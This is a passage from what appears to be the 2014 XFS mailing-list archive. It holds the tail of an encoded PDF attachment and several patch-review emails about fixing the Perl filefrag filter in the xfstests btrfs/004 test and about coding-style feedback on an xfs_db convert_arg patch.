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 A96lObZexrZOS4cEHJ67v029SLRUBrYEiqIoPgucCp8eiPBtD+MC+GOn0OC/tA16eUreWAQyWwHK RLgoiuJVZNfSQ5t4Nn1WJOQjUeb3kPDoSMsot1YUxZvQlc1wUT20ATP7xkIWcNrVUIrsKGoZfumh /FpRFO+A7iWOR7vjWSFPhK1vPEQsphWYhfZUyIVa0P2aRYqiKF6OOZnsrjYck6fzT/dfSrQY4zef iUqyCu65v6IoilegxVbzUHJXKx/FREhoYx5JC73snm44Kun0/FqtFUXxJcDx8EmC8D10PMvaT42O 7TDyal7IwkCxoiiKd+L+JjxOdkZP4Z7MY75aK7dWFMXXAKdjfqfH+Zllj32K8agzVms3T8UVRVG8 Fvc87TDUXNHnHNG0OGvHoC9YBRZFUTyCe590sGgO6kHnpjLAo11trdaKovgHuAcCbW3VVlv/O8VL v3eJhVoqjqTxTFtRFMVX414Im+TGTt27Ydm1dm+n//wMHVn6wsxTwD2XWBRF8VbkicxReUrQvdcO yX9B1r+kXIegRVF8B+SRfJ02LbZO9kXRzGkZD1LT+q68WlEU34jmnbD2uh51T6clHX4STy+Kovgm pKUZHRZcnWdskE/DOXVerSiKb8nsrtqC7Ir/w+osTqgZ5dSKovjmuLeiv/LALcqpFUXxY1gW+qz9 K6PIKZ9WFMXPxP1YwPfwIrF8WlEURVEURVEURVEURVEURVEURVEURVEURVEURVEURVEURVEURVEU RVEURVEURVEURVEURVEURVEURVEURVEURVEURVEURVEURVEURVEURVEURVEURVEURVEURVEURVEU RVEURVEURVEURVEURVEURVEURVF8K/777//a134dCmVuZHN0cmVhbQplbmRvYmoKMyAwIG9iago8 PC9MZW5ndGggNjgvRmlsdGVyL0ZsYXRlRGVjb2RlPj5zdHJlYW0KeJwr5CpUMLU0VTAAQgsTQz0z ExBTz9DC0MRMITlXQT8zN91AwSVfIZArkKuQyymEy9hMwcLATCEkhcs1BCgGAMrWDe4KZW5kc3Ry ZWFtCmVuZG9iago1IDAgb2JqCjw8L1R5cGUvUGFnZS9NZWRpYUJveFswIDAgNTk1IDg0Ml0vUmVz b3VyY2VzPDwvUHJvY1NldCBbL1BERiAvVGV4dCAvSW1hZ2VCIC9JbWFnZUMgL0ltYWdlSV0vWE9i amVjdDw8L2ltZzAgMiAwIFI+Pj4+L0NvbnRlbnRzIDMgMCBSL1BhcmVudCA0IDAgUj4+CmVuZG9i ago0IDAgb2JqCjw8L1R5cGUvUGFnZXMvQ291bnQgMS9LaWRzWzUgMCBSXS9JVFhUKDUuMS4zKT4+ CmVuZG9iago2IDAgb2JqCjw8L1R5cGUvQ2F0YWxvZy9QYWdlcyA0IDAgUj4+CmVuZG9iago3IDAg b2JqCjw8L1Byb2R1Y2VyKGNvbnZlcnRmaWxlb25saW5lLmNvbSkvQ3JlYXRpb25EYXRlKEQ6MjAx NDAyMTAxMzA0NDYrMDEnMDAnKS9Nb2REYXRlKEQ6MjAxNDAyMTAxMzA0NDYrMDEnMDAnKT4+CmVu ZG9iagp4cmVmCjAgOAowMDAwMDAwMDAwIDY1NTM1IGYgCjAwMDAwMDAwMTUgMDAwMDAgbiAKMDAw MDAwMjcwMyAwMDAwMCBuIAowMDAwMTAwMTQwIDAwMDAwIG4gCjAwMDAxMDA0MzYgMDAwMDAgbiAK MDAwMDEwMDI3NCAwMDAwMCBuIAowMDAwMTAwNDk5IDAwMDAwIG4gCjAwMDAxMDA1NDQgMDAwMDAg biAKdHJhaWxlcgo8PC9TaXplIDgvUm9vdCA2IDAgUi9JbmZvIDcgMCBSL0lEIFs8ZjllZTE1NjMx YmZmYjk1Y2IyZDdjNTZmMzNjZGQyNzE+PDhkZWUwNGExMTRiNjczZTVmYmUzMjNkOWE1MmM5OWI1 Pl0+PgpzdGFydHhyZWYKMTAwNjY3CiUlRU9GCg== ------=_NextPart_000_10D1_01CF26CA.CB1E65D0-- From wangsl.fnst@cn.fujitsu.com Mon Feb 10 19:23:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3BFC27F50 for ; Mon, 10 Feb 2014 19:23:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 276408F8050 for ; Mon, 10 Feb 2014 17:23:43 -0800 (PST) X-ASG-Debug-ID: 1392081819-04cbb00c29258210001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id Unpi9NEp8oQCTjME for ; Mon, 10 Feb 2014 17:23:41 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,821,1384272000"; d="scan'208";a="9502865" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 11 Feb 2014 09:19:50 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s1B1NZgk013489; Tue, 11 Feb 2014 09:23:35 +0800 Received: from [10.167.226.104] ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014021109213953-1720784 ; Tue, 11 Feb 2014 09:21:39 +0800 Message-ID: <52F97B3E.9060608@cn.fujitsu.com> Date: Tue, 11 Feb 2014 09:22:06 +0800 From: Wang Shilong User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130612 Thunderbird/17.0.6 MIME-Version: 1.0 To: Josef Bacik CC: Wang Shilong , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: btrfs/004: fix to make test really work References: <1392034256-2412-1-git-send-email-wangshilong1991@gmail.com> <52F925EA.20600@fb.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: btrfs/004: fix to make test really work In-Reply-To: <52F925EA.20600@fb.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/11 09:21:39, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/11 09:21:40, Serialize complete at 2014/02/11 09:21:40 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1392081820 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145013 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Josef, On 02/11/2014 03:18 AM, Josef Bacik wrote: > > > On 02/10/2014 07:10 AM, Wang Shilong wrote: >> From: Wang Shilong >> >> So i was wandering why test 004 could pass my previous wrong >> kernel patch while it defenitely should not. >> >> By some debugging, i found here perl script is wrong, we did not >> filter out anything and this unit test did not work acutally.so >> it came out we will never fail this test. >> > > So now with this patch I'm failing it, is there some btrfs patch I > need to make it not fail or is it still not supposed to fail normally > and is this patch broken? Thanks, You should not have updated my previous patch(Btrfs: switch to btrfs_previous_extent_item()) when you fail this test. I update your latest btrfs-next which has updated my previous patch and it can pass this case, did you miss that? Thanks, Wang > > Josef > -- > To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > From wangsl.fnst@cn.fujitsu.com Mon Feb 10 19:25:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A646A7F50 for ; Mon, 10 Feb 2014 19:25:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7C5688F8052 for ; Mon, 10 Feb 2014 17:25:49 -0800 (PST) X-ASG-Debug-ID: 1392081947-04cb6c6de2265630001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id FGkPNYGBkyQMlsRG for ; Mon, 10 Feb 2014 17:25:47 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,821,1384272000"; d="scan'208";a="9502876" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 11 Feb 2014 09:21:58 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s1B1PjSB013514; Tue, 11 Feb 2014 09:25:45 +0800 Received: from [10.167.226.104] ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014021109235001-1720841 ; Tue, 11 Feb 2014 09:23:50 +0800 Message-ID: <52F97BC1.4090900@cn.fujitsu.com> Date: Tue, 11 Feb 2014 09:24:17 +0800 From: Wang Shilong User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130612 Thunderbird/17.0.6 MIME-Version: 1.0 To: Dave Chinner CC: Wang Shilong , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: btrfs/004: fix to make test really work References: <1392034256-2412-1-git-send-email-wangshilong1991@gmail.com> <20140210213944.GT13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: btrfs/004: fix to make test really work In-Reply-To: <20140210213944.GT13647@dastard> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/11 09:23:50, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/11 09:23:50, Serialize complete at 2014/02/11 09:23:50 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1392081947 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145013 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/11/2014 05:39 AM, Dave Chinner wrote: > On Mon, Feb 10, 2014 at 08:10:56PM +0800, Wang Shilong wrote: >> From: Wang Shilong >> >> So i was wandering why test 004 could pass my previous wrong >> kernel patch while it defenitely should not. >> >> By some debugging, i found here perl script is wrong, we did not >> filter out anything and this unit test did not work acutally.so >> it came out we will never fail this test. >> >> Signed-off-by: Wang Shilong >> --- >> tests/btrfs/004 | 7 +++---- >> 1 file changed, 3 insertions(+), 4 deletions(-) >> mode change 100755 => 100644 tests/btrfs/004 >> >> diff --git a/tests/btrfs/004 b/tests/btrfs/004 >> old mode 100755 >> new mode 100644 >> index 14da9f1..17a6e34 >> --- a/tests/btrfs/004 >> +++ b/tests/btrfs/004 >> @@ -57,10 +57,9 @@ _require_command "/usr/sbin/filefrag" >> >> rm -f $seqres.full >> >> -FILEFRAG_FILTER='if (/, blocksize (\d+)/) {$blocksize = $1; next} ($ext, '\ >> -'$logical, $physical, $expected, $length, $flags) = (/^\s*(\d+)\s+(\d+)'\ >> -'\s+(\d+)\s+(?:(\d+)\s+)?(\d+)\s+(.*)/) or next; $flags =~ '\ >> -'/(?:^|,)inline(?:,|$)/ and next; print $physical * $blocksize, "#", '\ >> +FILEFRAG_FILTER='if (/blocks of (\d+) bytes/) {$blocksize = $1; next} ($ext, '\ >> +'$logical, $physical, $length) = (/^\s*(\d+):\s+(\d+)..\s+\d+:'\ >> +'\s+(\d+)..\s+\d+:\s+(\d+):/) or next; print $physical * $blocksize, "#", '\ >> '$length * $blocksize, "#", $logical * $blocksize, " "' > Oh, boy, who allowed that mess to pass review? Please format this in > a readable manner while you are changing it. Yeah, i was thinking to make it more readable while i had sent this out.^_^ Thanks for your comments. Wang > > FILEFRAG_FILTER=' > if (/blocks of (\d+) bytes/) { \ > $blocksize = $1; \ > next; \ > } > ..... > > Cheers, > > Dave. From david@fromorbit.com Mon Feb 10 19:31:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 176687F50 for ; Mon, 10 Feb 2014 19:31:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7A667AC009 for ; Mon, 10 Feb 2014 17:31:54 -0800 (PST) X-ASG-Debug-ID: 1392082307-04cb6c6de1265ae0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Vj3FjZZB2D6GL5LU for ; Mon, 10 Feb 2014 17:31:48 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswGAJd8+VJ5LGaB/2dsb2JhbABZgwyDPrZUhU+BDxd0giUBAQQBOhwjBQsIAxgJJQ8FJQMhE4d9B8l2FxaOWgeDJIEUBJRBg2iKT4dSg0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Feb 2014 12:01:47 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD2CP-0003mJ-CS; Tue, 11 Feb 2014 12:31:45 +1100 Date: Tue, 11 Feb 2014 12:31:45 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs_db: fix the setting of unaligned directory fields Message-ID: <20140211013145.GA13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfs_db: fix the setting of unaligned directory fields References: <20140210230923.268327906@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140210230923.268327906@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392082307 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_RULE_7580B, BSF_RULE_7580E X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145013 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.75 BSF_RULE_7580B Custom Rule 7580B 0.75 BSF_RULE_7580E Custom Rule 7580E On Mon, Feb 10, 2014 at 05:09:12PM -0600, Mark Tinguely wrote: > Setting the directory startoff, startblock, and blockcount > fields are difficult on both big and little endian machines. > The setting of extentflag was completely broken. ..... > + char *in = ibuf; > + char *out = obuf; > + int bit; > + > + if (bitoff % NBBY || nbits % NBBY) { > + for (bit=0; bit + setbit(out, bit+bitoff, getbit(in, bit)); > + } else > + memcpy(out+byteize(bitoff), in, byteize(nbits)); Still whitespace challenged ;) > Index: b/db/write.c > =================================================================== > --- a/db/write.c > +++ b/db/write.c > @@ -439,55 +439,78 @@ convert_oct( > > #define NYBBLE(x) (isdigit(x)?(x-'0'):(tolower(x)-'a'+0xa)) > > +/* > + * convert_arg allow input in the following forms: > + * A string ("ABTB") whose ASCII value is placed in an array in the order > + * matching the input. > + * > + * An even number of hex numbers. If the length is greater than > + * 64 bits, then the output is an array of bytes whose top nibble > + * is the first hex digit in the input, the lower nibble is the second > + * hex digit in the input. UUID entries are entered in this manner. > + * If the length is 64 bits or less, then treat the hex input characters > + * as a number used with setbitval(). > + * > + * A decimal or hexadecimal integer to be used with setbitval(). > + * --- > + * Numbers that will use setbitval() are in big endian format and > + * are adjusted in the array so that the first input bit is to be > + * be written to the first bit in the output. > + */ > static char * > convert_arg( > - char *arg, > - int bit_length) > + char *arg, > + int bit_length) > { > - int i; > - static char *buf = NULL; > - char *rbuf; > - long long *value; > - int alloc_size; > - char *ostr; > - int octval, ret; > + int i; > + int alloc_size; > + int octval; > + int offset; > + int ret; > + static char *buf = NULL; > + char *endp; > + char *rbuf; > + char *ostr; > + __u64 *value; > + __u64 val = 0; > > if (bit_length <= 64) > alloc_size = 8; > else > - alloc_size = (bit_length+7)/8; > + alloc_size = (bit_length + 7)/8; alloc_size = (bit_length + 7) / 8; > > buf = xrealloc(buf, alloc_size); > memset(buf, 0, alloc_size); > - value = (long long *)buf; > + value = (__u64 *)buf; > rbuf = buf; > > if (*arg == '\"') { > - /* handle strings */ > + /* input a string and output ASCII array of characters */ > > /* zap closing quote if there is one */ > - if ((ostr = strrchr(arg+1, '\"')) != NULL) > + if ((ostr = strrchr(arg + 1, '\"')) != NULL) > *ostr = '\0'; If you are touching these, the preferred form is ostr = strrchr(arg + 1, '\"'); if (ostr) *ostr = '\0'; > > - ostr = arg+1; > + ostr = arg + 1; > for (i = 0; i < alloc_size; i++) { > if (!*ostr) > break; > > - /* do octal */ > + /* do octal conversion */ > if (*ostr == '\\') { > - if (*(ostr+1) >= '0' || *(ostr+1) <= '7') { > - ret = convert_oct(ostr+1, &octval); > + if (*(ostr + 1) >= '0' || *(ostr + 1) <= '7') { > + ret = convert_oct(ostr + 1, &octval); > *rbuf++ = octval; > - ostr += ret+1; > + ostr += ret + 1; > continue; > } > } > *rbuf++ = *ostr++; > } > - > return buf; > - } else if (arg[0] == '#' || ((arg[0] != '-') && strchr(arg,'-'))) { > + } > + > + if (arg[0] == '#' || ((arg[0] != '-') && strchr(arg,'-'))) { > /* > * handle hex blocks ie > * #00112233445566778899aabbccddeeff > @@ -495,49 +518,89 @@ convert_arg( > * 1122334455667788-99aa-bbcc-ddee-ff00112233445566778899 > * > * (but if it starts with "-" assume it's just an integer) > + * > + * Treat all requests 64 bits or smaller as numbers and > + * requests larger than 64 bits as hex blocks arrays. > */ > - int bytes=bit_length/8; > + int bytes = bit_length / NBBY; > > /* skip leading hash */ > - if (*arg=='#') arg++; > + if (*arg == '#') arg++; > > while (*arg && bytes--) { > - /* skip hypens */ > - while (*arg=='-') arg++; > + /* skip hypens */ > + while (*arg == '-') arg++; while (*arg == '-') arg++; > > - /* get first nybble */ > - if (!isxdigit((int)*arg)) return NULL; > - *rbuf=NYBBLE((int)*arg)<<4; > - arg++; > - > - /* skip more hyphens */ > - while (*arg=='-') arg++; > - > - /* get second nybble */ > - if (!isxdigit((int)*arg)) return NULL; > - *rbuf++|=NYBBLE((int)*arg); > - arg++; > + /* get first nybble */ > + if (!isxdigit((int)*arg)) > + return NULL; > + if (bit_length <= 64) > + val = (val << 4) + NYBBLE((int)*arg); > + else > + *rbuf = 